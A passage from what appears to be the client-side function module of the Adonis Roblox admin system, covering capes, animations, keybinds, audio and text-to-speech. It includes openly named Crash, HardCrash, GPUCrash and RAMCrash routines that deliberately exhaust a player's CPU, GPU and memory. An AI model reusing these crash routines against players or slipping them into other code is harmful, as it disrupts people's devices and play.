then\n\t\t\t\t\t\t\t\t\tmotor.DesiredAngle = -ang\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tmotor.CurrentAngle = -ang -- bugs\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif motor.CurrentAngle < -.2 and motor.DesiredAngle > -.2 then\n\t\t\t\t\t\t\t\t\tmotor.MaxVelocity = .04\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tpart.Transparency = 1\n\t\t\t\t\t\t\t\tif decal then\n\t\t\t\t\t\t\t\t\tdecal.Transparency = 1\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tpcall(part.Destroy,part)\n\t\t\t\t\t\t\tVariables.Capes[i] = nil\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend, true)\n\t\tend;\n\n\t\tClearAllInstances = function()\n\t\t\tlocal objects = service.GetAdonisObjects()\n\t\t\tfor i in objects do\n\t\t\t\ti:Destroy()\n\t\t\tend\n\t\t\ttable.clear(objects)\n\t\tend;\n\n\t\tPlayAnimation = function(animId)\n\t\t\tif animId == 0 then return end\n\n\t\t\tlocal char = service.Player.Character\n\t\t\tlocal human = char and char:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tlocal animator = human and human:FindFirstChildOfClass(\"Animator\") or human and human:WaitForChild(\"Animator\", 9e9)\n\t\t\tif not animator then return end\n\n\t\t\tfor _, v in animator:GetPlayingAnimationTracks() do v:Stop() end\n\t\t\tlocal anim = service.New('Animation', {\n\t\t\t\tAnimationId = `rbxassetid://{animId}`,\n\t\t\t\tName = \"ADONIS_Animation\"\n\t\t\t})\n\t\t\tlocal track = animator:LoadAnimation(anim)\n\t\t\ttrack:Play()\n\t\tend;\n\n\t\tSetLighting = function(prop,value)\n\t\t\tif service.Lighting[prop]~=nil then\n\t\t\t\tservice.Lighting[prop] = value\n\t\t\t\tVariables.LightingSettings[prop] = value\n\t\t\tend\n\t\tend;\n\n\t\tChatMessage = function(msg,color,font,size)\n\t\t\tlocal tab = {}\n\n\t\t\ttab.Text = msg\n\n\t\t\tif color then\n\t\t\t\ttab.Color = color\n\t\t\tend\n\n\t\t\tif font then\n\t\t\t\ttab.Font = font\n\t\t\tend\n\n\t\t\tif size then\n\t\t\t\ttab.Size = size\n\t\t\tend\n\n\t\t\tservice.StarterGui:SetCore(\"ChatMakeSystemMessage\",tab)\n\n\t\t\tif Functions.SendToChat then\n\t\t\t\tFunctions.SendToChat({Name = \"::Adonis::\"},msg,\"Private\")\n\t\t\tend\n\t\tend;\n\n\t\tSetCamProperty = function(prop,value)\n\t\t\tlocal cam = workspace.CurrentCamera\n\t\t\tif cam[prop] then\n\t\t\t\tcam[prop] = value\n\t\t\tend\n\t\tend;\n\n\t\tSetFPS = function(fps)\n\t\t\tservice.StopLoop(\"SetFPS\")\n\t\t\tlocal fps = tonumber(fps)\n\t\t\tif fps then\n\t\t\t\tservice.StartLoop(\"SetFPS\",0.1,function()\n\t\t\t\t\tlocal fpslockint = time() +1 /fps\n\t\t\t\t\trepeat until time()>=fpslockint\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tRestoreFPS = function()\n\t\t\tservice.StopLoop(\"SetFPS\")\n\t\tend;\n\n\t\tCrash = function()\n\t\t\t--[[\n\t\t\tlocal load = function(f) return f() end\n\t\t\tlocal s = string.rep(\"\\n\", 2^24)\n\t\t\tprint(load(function() return s end))--]]\n\t\t\t--print(string.find(string.rep(\"a\", 2^20), string.rep(\".?\", 2^20)))\n\t\t\t--[[while true do\n\t\t\t\tspawn(function()\n\t\t\t\t\tspawn(function()\n\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint(\"Triangles.\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\tend)\n\t\t\tend--]]\n\n\t\t\tlocal Run = service.RunService;\n\t\t\tlocal Lol = 0;\n\n\t\t\tlocal Thread; function Thread()\n\t\t\t\tRun:BindToRenderStep(tostring(Lol), 100, function() print\"Stopping\"; Thread(); end);\n\t\t\t\tLol += 1;\n\t\t\tend;\n\n\t\t\tThread();\n\t\t\t--local crash; crash = function() while true do repeat spawn(function() pcall(function() print(game[(\"%s|\"):rep(100000)]) crash() end) end) until nil end end\n\t\t\t--crash()\n\t\tend;\n\n\t\tHardCrash = function()\n\t\t\tlocal crash\n\t\t\tlocal tab\n\t\t\tlocal gui = service.New(\"ScreenGui\",service.PlayerGui)\n\t\t\tlocal rem = service.New(\"RemoteEvent\",workspace.CurrentCamera)\n\t\t\tcrash = function()\n\t\t\t\tfor i=1,50 do\n\t\t\t\t\tservice.Debris:AddItem(service.New(\"Part\",workspace.CurrentCamera),2^4000)\n\t\t\t\t\tprint(\"((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)\")\n\t\t\t\t\tlocal f = service.New('Frame',gui)\n\t\t\t\t\tf.Size = UDim2.new(1,0,1,0)\n\t\t\t\t\tspawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)\n\t\t\t\t\trem:FireServer(\"Hiiiiiiiiiiiiiiii\")\n\t\t\t\t\tspawn(function()\n\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\tspawn(function()\n\t\t\t\t\t\t\t\t\t\tprint(\"hi\")\n\t\t\t\t\t\t\t\t\t\tspawn(crash)\n\t\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\t\t--print(game[(\"%s|\"):rep(0xFFFFFFF)])\n\t\t\t\tend\n\t\t\t\ttab = {}\n\t\t\tend\n\t\t\twhile task.wait(0.01) do\n\t\t\t\tfor i = 1,50000000 do\n\t\t\t\t\tcPcall(function() client.GPUCrash() end)\n\t\t\t\t\tcPcall(function() crash() end)\n\t\t\t\t\tprint(1)\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tGPUCrash = function()\n\t\t\tlocal New = service.New\n\t\t\tlocal gui = New(\"ScreenGui\",service.PlayerGui)\n\t\t\tlocal scr = UDim2.new(1, 0, 1, 0)\n\t\t\tlocal crash\n\t\t\tcrash = function()\n\t\t\t\twhile task.wait(0.01) do\n\t\t\t\t\tfor _ = 1,500000 do\n\t\t\t\t\t\tNew('Frame', {\n\t\t\t\t\t\t\tSize = scr;\n\t\t\t\t\t\t\tParent = gui,\n\t\t\t\t\t\t})\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tcrash()\n\t\tend;\n\n\t\tRAMCrash = function()\n\t\t\tlocal Debris = service.Debris\n\t\t\tlocal New = service.New\n\n\t\t\twhile task.wait(0.1) do\n\t\t\t\tfor i = 1,10000 do\n\t\t\t\t\tDebris:AddItem(New(\"Part\",workspace.CurrentCamera),2^4000)\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tKillClient = function()\n\t\t\tclient.Kill(\"KillClient called\")\n\t\tend;\n\n\t\tKeyCodeToName = function(keyVal)\n\t\t\tlocal keyVal = tonumber(keyVal);\n\t\t\tif keyVal then\n\t\t\t\tfor _, e in Enum.KeyCode:GetEnumItems() do\n\t\t\t\t\tif e.Value == keyVal then\n\t\t\t\t\t\tlocal name = service.UserInputService:GetStringForKeyCode(e)\n\n\t\t\t\t\t\tif service.Trim(name) == \"\" or Variables.KeycodeNames[e] == name then\n\t\t\t\t\t\t\treturn e.Name\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn name\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn \"UNKNOWN\";\n\t\tend;\n\n\t\tKeyBindListener = function(keybinds)\n\t\t\tif not Variables then task.wait() end;\n\t\t\tlocal timer = 0\n\t\t\tlocal data = (not keybinds) and Remote.Get(\"PlayerData\");\n\n\t\t\tVariables.KeyBinds = keybinds or (data and data.Keybinds) or {}\n\n\t\t\tservice.UserInputService.InputBegan:Connect(function(input)\n\t\t\t\tlocal key = tostring(input.KeyCode.Value)\n\t\t\t\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\n\t\t\t\tif Variables.KeybindsEnabled and not (textbox) and key and Variables.KeyBinds[key] and not Variables.WaitingForBind then\n\t\t\t\t\tlocal isAdmin = Remote.Get(\"CheckAdmin\")\n\t\t\t\t\tif time() - timer > 5 or isAdmin then\n\t\t\t\t\t\tRemote.Send('ProcessCommand',Variables.KeyBinds[key],false,true)\n\t\t\t\t\t\tUI.Make(\"Hint\",{\n\t\t\t\t\t\t\tMessage = `[Ran] Key: {Functions.KeyCodeToName(key)} | Command: {Variables.KeyBinds[key]}`\n\t\t\t\t\t\t})\n\t\t\t\t\tend\n\t\t\t\t\ttimer = time()\n\t\t\t\tend\n\t\t\tend)\n\t\tend;\n\n\t\tAddKeyBind = function(key, command)\n\t\t\tlocal key = tostring(key);\n\t\t\tVariables.KeyBinds[tostring(key)] = command\n\t\t\tRemote.Get(\"UpdateKeybinds\",Variables.KeyBinds)\n\t\t\tUI.Make(\"Hint\",{\n\t\t\t\tMessage = `Bound key \"{Functions.KeyCodeToName(key)}\" to command: {command}`\n\t\t\t})\n\t\tend;\n\n\t\tRemoveKeyBind = function(key)\n\t\t\tlocal key = tostring(key);\n\n\t\t\tif Variables.KeyBinds[tostring(key)] ~= nil then\n\t\t\t\tVariables.KeyBinds[tostring(key)] = nil\n\t\t\t\tRemote.Get(\"UpdateKeybinds\",Variables.KeyBinds)\n\t\t\t\tRoutine(function()\n\t\t\t\t\tUI.Make(\"Hint\",{\n\t\t\t\t\t\tMessage = `Removed key \"{Functions.KeyCodeToName(key)}\" from keybinds`\n\t\t\t\t\t})\n\t\t\t\tend)\n\t\t\tend\n\t\tend;\n\n\t\tBrickBlur = function(on, trans, color)\n\t\t\tlocal exists = service.LocalContainer():FindFirstChild(\"ADONIS_WINDOW_FUNC_BLUR\")\n\t\t\tif exists then exists:Destroy() end\n\t\t\tif on then\n\t\t\t\tlocal pa = Instance.new(\"Part\",workspace.CurrentCamera)\n\t\t\t\tpa.Name = \"ADONIS_WINDOW_FUNC_BLUR\"\n\t\t\t\tpa.Material = \"Neon\"\n\t\t\t\tpa.BrickColor = color or BrickColor.Black()\n\t\t\t\tpa.Transparency = trans or 0.5\n\t\t\t\tpa.CanCollide = false\n\t\t\t\tpa.Anchored = true\n\t\t\t\tpa.Size = Vector3.new(100,100,0)\n\t\t\t\twhile pa and pa.Parent and task.wait(1/40) do\n\t\t\t\t\tpa.CFrame = workspace.CurrentCamera.CFrame*CFrame.new(0,0,-2.5)*CFrame.Angles(12.6,0,0)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tfor _, v in workspace.CurrentCamera:GetChildren() do\n\t\t\t\t\tif v.Name == \"ADONIS_WINDOW_FUNC_BLUR\" then\n\t\t\t\t\t\tv:Destroy()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tPlayAudio = function(audioId, volume, pitch, looped)\n\t\t\tif Variables.localSounds[tostring(audioId)] then Variables.localSounds[tostring(audioId)]:Stop() Variables.localSounds[tostring(audioId)]:Destroy() Variables.localSounds[tostring(audioId)]=nil end\n\t\t\tlocal sound = service.New(\"Sound\")\n\t\t\tsound.SoundId = `rbxassetid://{audioId}`\n\t\t\tif looped then sound.Looped = true end\n\t\t\tif volume then sound.Volume = volume end\n\t\t\tif pitch then sound.Pitch = pitch end\n\t\t\tsound.Name = `ADONIS_LOCAL_SOUND {audioId}`\n\t\t\tsound.Parent = service.LocalContainer()\n\t\t\tVariables.localSounds[tostring(audioId)] = sound\n\t\t\tsound:Play()\n\t\t\ttask.wait(1)\n\t\t\tif sound.IsPlaying == true then\n\t\t\t\tsound.Ended:Wait()\n\t\t\tend\n\t\t\tsound:Destroy()\n\t\t\tVariables.localSounds[tostring(audioId)] = nil\n\t\tend;\n\n\t\tStopAudio = function(audioId)\n\t\t\tif Variables.localSounds[tostring(audioId)] then\n\t\t\t\tVariables.localSounds[tostring(audioId)]:Stop()\n\t\t\t\tVariables.localSounds[tostring(audioId)]:Destroy()\n\t\t\t\tVariables.localSounds[tostring(audioId)] = nil\n\t\t\telseif audioId == \"all\" then\n\t\t\t\tfor i, v in Variables.localSounds do\n\t\t\t\t\tv:Stop()\n\t\t\t\t\tv:Destroy()\n\t\t\t\t\tVariables.localSounds[i] = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tFadeAudio = function(audioId,inVol,pitch,looped,incWait)\n\t\t\tif not inVol then\n\t\t\t\tlocal sound = Variables.localSounds[tostring(audioId)]\n\t\t\t\tif sound then\n\t\t\t\t\tfor i = sound.Volume,0,-0.01 do\n\t\t\t\t\t\tsound.Volume = i\n\t\t\t\t\t\ttask.wait(incWait or 0.1)\n\t\t\t\t\tend\n\t\t\t\t\tFunctions.StopAudio(audioId)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tFunctions.StopAudio(audioId)\n\t\t\t\tFunctions.PlayAudio(audioId,0,pitch,looped)\n\t\t\t\tlocal sound = Variables.localSounds[tostring(audioId)]\n\t\t\t\tif sound then\n\t\t\t\t\tfor i = 0,inVol,0.01 do\n\t\t\t\t\t\tsound.Volume = i\n\t\t\t\t\t\ttask.wait(incWait or 0.1)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tKillAllLocalAudio = function()\n\t\t\tfor i,v in Variables.localSounds do\n\t\t\t\tv:Stop()\n\t\t\t\tv:Destroy()\n\t\t\t\ttable.remove(Variables.localSounds,i)\n\t\t\tend\n\t\tend;\n\n\t\tRemoveGuis = function()\n\t\t\tfor _, v in service.PlayerGui:GetChildren() do\n\t\t\t\tif not UI.Get(v) then\n\t\t\t\t\tv:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\n\t\tSetCoreGuiEnabled = function(element,enabled)\n\t\t\tservice.StarterGui:SetCoreGuiEnabled(element,enabled)\n\t\tend;\n\n\t\tSetCore = function(...)\n\t\t\tservice.StarterGui:SetCore(...)\n\t\tend;\n\n\t\tUnCape = function()\n\t\t\tlocal cape = service.LocalContainer():FindFirstChild(\"::Adonis::Cape\")\n\t\t\tif cape then cape:Destroy() end\n\t\tend;\n\n\t\tCape = function(material,color,decal,reflect)\n\t\t\tlocal torso = service.Player.Character:FindFirstChild(\"HumanoidRootPart\")\n\t\t\tif torso then\n\t\t\t\tlocal p = service.New(\"Part\",service.LocalContainer())\n\t\t\t\tp.Name = \"::Adonis::Cape\"\n\t\t\t\tp.Anchored = true\n\t\t\t\tp.Transparency=0.1\n\t\t\t\tp.Material=material\n\t\t\t\tp.CanCollide = false\n\t\t\t\tp.TopSurface = 0\n\t\t\t\tp.BottomSurface = 0\n\t\t\t\tif type(color) == \"table\" then\n\t\t\t\t\tcolor = Color3.new(color[1],color[2],color[3])\n\t\t\t\tend\n\t\t\t\tp.BrickColor = BrickColor.new(color) or BrickColor.new(\"White\")\n\t\t\t\tif reflect then\n\t\t\t\t\tp.Reflectance=reflect\n\t\t\t\tend\n\t\t\t\tif decal and decal~=0 then\n\t\t\t\t\tlocal dec = service.New(\"Decal\", p)\n\t\t\t\t\tdec.Face = 2\n\t\t\t\t\tdec.Texture = `http://www.roblox.com/asset/?id={decal}`\n\t\t\t\t\tdec.Transparency=0\n\t\t\t\tend\n\t\t\t\tp.Size = Vector3.new(.2,.2,.2)\n\t\t\t\tlocal msh = service.New(\"BlockMesh\", p)\n\t\t\t\tmsh.Scale = Vector3.new(9,17.5,.5)\n\t\t\t\ttask.wait(0.1)\n\t\t\t\tp.Anchored=false\n\t\t\t\tlocal motor1 = service.New(\"Motor\", p)\n\t\t\t\tmotor1.Part0 = p\n\t\t\t\tmotor1.Part1 = torso\n\t\t\t\tmotor1.MaxVelocity = .01\n\t\t\t\tmotor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)\n\t\t\t\tmotor1.C1 = CFrame.new(0,1,torso.Size.Z/2)*CFrame.Angles(0,math.rad(90),0)--.45\n\t\t\t\tlocal wave = false\n\t\t\t\trepeat task.wait(1/44)\n\t\t\t\t\tlocal ang = 0.1\n\t\t\t\t\tlocal oldmag = torso.Velocity.Magnitude\n\t\t\t\t\tlocal mv = .002\n\t\t\t\t\tif wave then \n\t\t\t\t\t\tang += ((torso.Velocity.Magnitude/10)*.05)+.05\n\t\t\t\t\t\twave = false\n\t\t\t\t\telse\n\t\t\t\t\t\twave = true\n\t\t\t\t\tend\n\t\t\t\t\tang += math.min(torso.Velocity.Magnitude/11, .5)\n\t\t\t\t\tmotor1.MaxVelocity = math.min((torso.Velocity.Magnitude/111), .04) + mv\n\t\t\t\t\tmotor1.DesiredAngle = -ang\n\t\t\t\t\tif motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then\n\t\t\t\t\t\tmotor1.MaxVelocity = .04\n\t\t\t\t\tend\n\n\t\t\t\t\trepeat task.wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.Magnitude - oldmag) >=(torso.Velocity.Magnitude/10) + 1\n\n\t\t\t\t\tif torso.Velocity.Magnitude < .1 then\n\t\t\t\t\t\ttask.wait(.1)\n\t\t\t\t\tend\n\t\t\t\tuntil not p or not p.Parent or p.Parent ~= service.LocalContainer()\n\t\t\tend\n\t\tend;\n\n\t\tTextToSpeech = function(str)\n\t\t\tlocal audioId = 296333956\n\n\t\t\tlocal audio = Instance.new(\"Sound\",service.LocalContainer())\n\t\t\taudio.SoundId = `rbxassetid://{audioId}`\n\t\t\taudio.Volume = 1\n\n\t\t\tlocal audio2 = Instance.new(\"Sound\",service.LocalContainer())\n\t\t\taudio2.SoundId = `rbxassetid://{audioId}`\n\t\t\taudio2.Volume = 1\n\n\t\t\tlocal phonemes = {\n\t\t\t\t{\n\t\t\t\t\tstr='%so';\n\t\t\t\t\tfunc={17}\n\t\t\t\t}; --(on)\n\t\t\t\t{\n\t\t\t\t\tstr='ing';\n\t\t\t\t\tfunc={41}\n\t\t\t\t}; --(singer)\n\t\t\t\t{\n\t\t\t\t\tstr=\"oot\";\n\t\t\t\t\tfunc={4, 26}; --oo,t\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='or';\n\t\t\t\t\tfunc={10}\n\t\t\t\t}; --(door) --oor\n\t\t\t\t{\n\t\t\t\t\tstr='oo';\n\t\t\t\t\tfunc={3}\n\t\t\t\t}; --(good)\n\t\t\t\t{\n\t\t\t\t\tstr='hi';\n\t\t\t\t\tfunc={44, 19}; --h, y/ii\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='ie';\n\t\t\t\t\tfunc={1}; --ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"eye\";\n\t\t\t\t\tfunc={19}; --y/ii\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"$Suy%s\"; --%Suy\n\t\t\t\t\treal=\"uy\";\n\t\t\t\t\tfunc={19}; --y/ii\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"%Sey%s\"; --%Sey\n\t\t\t\t\tfunc={1}; --ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"%sye\"; --%sye\n\t\t\t\t\tfunc={19}; --y/ii\n\t\t\t\t};\n\t\t\t\t--[[{\n\t\t\t\t\tstr='th';\n\t\t\t\t\tfunc={30.9, 31.3}\n\t\t\t\t}; --(think)--]]\n\t\t\t\t{\n\t\t\t\t\tstr='the';\n\t\t\t\t\tfunc={25, 15}; --th, u\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='th';\n\t\t\t\t\tfunc={32, 0.2395}\n\t\t\t\t}; --(this)\n\t\t\t\t--[[\n\t\t\t\t{\n\t\t\t\t\tstr='ow';\n\t\t\t\t\tfunc={10, 0.335}\n\t\t\t\t}; --(show) --ow\n\t\t\t\t--]]\n\t\t\t\t{\n\t\t\t\t\tstr='ow';\n\t\t\t\t\tfunc={20}\n\t\t\t\t}; --(cow) --ow\n\t\t\t\t{\n\t\t\t\t\tstr=\"qu\";\n\t\t\t\t\tfunc={21,38};--c,w\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='ee';\n\t\t\t\t\tfunc={1}\n\t\t\t\t}; --(sheep)\n\t\t\t\t{\n\t\t\t\t\tstr='i%s';\n\t\t\t\t\tdelay=0.5;\n\t\t\t\t\tfunc={19}\n\t\t\t\t}; --(I)\n\t\t\t\t{\n\t\t\t\t\tstr='ea';\n\t\t\t\t\tfunc={1}\n\t\t\t\t}; --(read)\n\t\t\t\t{\n\t\t\t\t\tstr='u(.*)e';\n\t\t\t\t\treal='u';\n\t\t\t\t\tcapture=true;\n\t\t\t\t\tfunc={9}\n\t\t\t\t}; --(cure) (match ure) --u\n\t\t\t\t{\n\t\t\t\t\tstr='ch';\n\t\t\t\t\tfunc={24}\n\t\t\t\t}; --(cheese)\n\t\t\t\t{\n\t\t\t\t\tstr='ere';\n\t\t\t\t\tfunc={5}\n\t\t\t\t}; --(here)\n\t\t\t\t{\n\t\t\t\t\tstr='ai';\n\t\t\t\t\tfunc={6}\n\t\t\t\t}; --(wait)\n\t\t\t\t{\n\t\t\t\t\tstr='la';\n\t\t\t\t\tfunc={39,6}\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='oy';\n\t\t\t\t\tfunc={8}\n\t\t\t\t}; --(boy)\n\t\t\t\t{\n\t\t\t\t\tstr='gh';\n\t\t\t\t\tfunc={44};\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='sh';\n\t\t\t\t\tfunc={22}\n\t\t\t\t}; --(shall)\n\t\t\t\t{\n\t\t\t\t\tstr='air';\n\t\t\t\t\tfunc={18}\n\t\t\t\t}; --(hair)\n\n\t\t\t\t{\n\t\t\t\t\tstr='ar';\n\t\t\t\t\tfunc={16}\n\t\t\t\t}; --(far)\n\t\t\t\t{\n\t\t\t\t\tstr='ir';\n\t\t\t\t\tfunc={11}\n\t\t\t\t}; --(bird)\n\t\t\t\t{\n\t\t\t\t\tstr='er';\n\t\t\t\t\tfunc={12}\n\t\t\t\t}; --(teacher)\n\t\t\t\t{\n\t\t\t\t\tstr='sio';\n\t\t\t\t\tfunc={35}\n\t\t\t\t}; --(television)\n\t\t\t\t{\n\t\t\t\t\tstr='ck';\n\t\t\t\t\tfunc={21}\n\t\t\t\t}; --(book)\n\t\t\t\t{\n\t\t\t\t\tstr=\"zy\";\n\t\t\t\t\tfunc={34,1}; --z,ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"ny\";\n\t\t\t\t\tfunc={42, 1}; --n,ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"ly\";\n\t\t\t\t\tfunc={39, 1}; --l,ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr=\"ey\";\n\t\t\t\t\tfunc={1} --ee\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='ii';\n\t\t\t\t\tfunc={19}\n\t\t\t\t}; --(ii?)\n\t\t\t\t{\n\t\t\t\t\tstr='i';\n\t\t\t\t\tfunc={2}\n\t\t\t\t};--(ship)\n\n\t\t\t\t{\n\t\t\t\t\tstr='y'; --y%S\n\t\t\t\t\tfunc={37}\n\t\t\t\t}; --(yes)\n\t\t\t\t--[[\n\t\t\t\t{\n\t\t\t\t\tstr='%Sy';\n\t\t\t\t\tfunc={23.9, 24.4}\n\t\t\t\t}; --(my)\n\t\t\t\t--]]\n\t\t\t\t{\n\t\t\t\t\tstr='y';\n\t\t\t\t\tfunc={37}\n\t\t\t\t}; --(my)\n\n\t\t\t\t{\n\t\t\t\t\tstr='s';\n\t\t\t\t\tfunc={23}\n\t\t\t\t}; --(see)\n\n\t\t\t\t{\n\t\t\t\t\tstr='e';\n\t\t\t\t\tfunc={13};\n\t\t\t\t}; --(bed)\n\t\t\t\t--[[--]]\n\t\t\t\t{\n\t\t\t\t\tstr='a';\n\t\t\t\t\tfunc={14}\n\t\t\t\t}; --(cat)\n\t\t\t\t--[[\n\t\t\t\t{\n\t\t\t\t\tstr='a';\n\t\t\t\t\tfunc={6}\n\t\t\t\t}; --(lazy) --ai--]]\n\t\t\t\t{\n\t\t\t\t\tstr=\"x\";\n\t\t\t\t\tfunc={21, 23} --c, s\n\t\t\t\t};\n\t\t\t\t{\n\t\t\t\t\tstr='u';\n\t\t\t\t\tfunc={15}\n\t\t\t\t}; --(up)\n\t\t\t\t{\n\t\t\t\t\tstr='o';\n\t\t\t\t\tfunc={17}\n\t\t\t\t}; --(on)\n\t\t\t\t{\n\t\t\t\t\tstr='c';\n\t\t\t\t\tfunc={21}\n\t\t\t\t}; --(car)\n\t\t\t\t{\n\t\t\t\t\tstr='k';\n\t\t\t\t\tfunc={21}\n\t\t\t\t}; --(book)\n\t\t\t\t{\n\t\t\t\t\tstr='t';\n\t\t\t\t\tfunc={26}\n\t\t\t\t}; --(tea)\n\t\t\t\t{\n\t\t\t\t\tstr='f';\n\t\t\t\t\tfunc={27}\n\t\t\t\t}; --(fly)\n\t\t\t\t{\n\t\t\t\t\tstr='i';\n\t\t\t\t\tfunc={2}\n\t\t\t\t};--(ship)\n\t\t\t\t{\n\t\t\t\t\tstr='p';\n\t\t\t\t\tfunc={28}\n\t\t\t\t}; --(pea)\n\t\t\t\t{\n\t\t\t\t\tstr='b';\n\t\t\t\t\tfunc={29}\n\t\t\t\t}; --(boat)\n\t\t\t\t{\n\t\t\t\t\tstr='v';\n\t\t\t\t\tfunc={30}\n\t\t\t\t}; --(video)\n\t\t\t\t{\n\t\t\t\t\tstr='d';\n\t\t\t\t\tfunc={31}\n\t\t\t\t}; --(dog)\n\t\t\t\t{\n\t\t\t\t\tstr='j';\n\t\t\t\t\tfunc={33}\n\t\t\t\t}; --(june)\n\t\t\t\t{\n\t\t\t\t\tstr='z';\n\t\t\t\t\tfunc={34}\n\t\t\t\t}; --(zoo)\n\t\t\t\t{\n\t\t\t\t\tstr='g';\n\t\t\t\t\tfunc={36}\n\t\t\t\t}; --(go)\n\t\t\t\t{\n\t\t\t\t\tstr='w';\n\t\t\t\t\tfunc={38}\n\t\t\t\t}; --(wet)\n\t\t\t\t{\n\t\t\t\t\tstr='l';\n\t\t\t\t\tfunc={39}\n\t\t\t\t}; --(love)\n\t\t\t\t{\n\t\t\t\t\tstr='r';\n\t\t\t\t\tfunc={40}\n\t\t\t\t}; --(red)\n\t\t\t\t{\n\t\t\t\t\tstr='n';\n\t\t\t\t\tfunc={42}\n\t\t\t\t}; --(now)\n\t\t\t\t{\n\t\t\t\t\tstr='m';\n\t\t\t\t\tfunc={43}\n\t\t\t\t}; --(man)\n\t\t\t\t{\n\t\t\t\t\tstr='h';\n\t\t\t\t\tfunc={44}\n\t\t\t\t}; --(hat)\n\t\t\t\t{\n\t\t\t\t\tstr=' 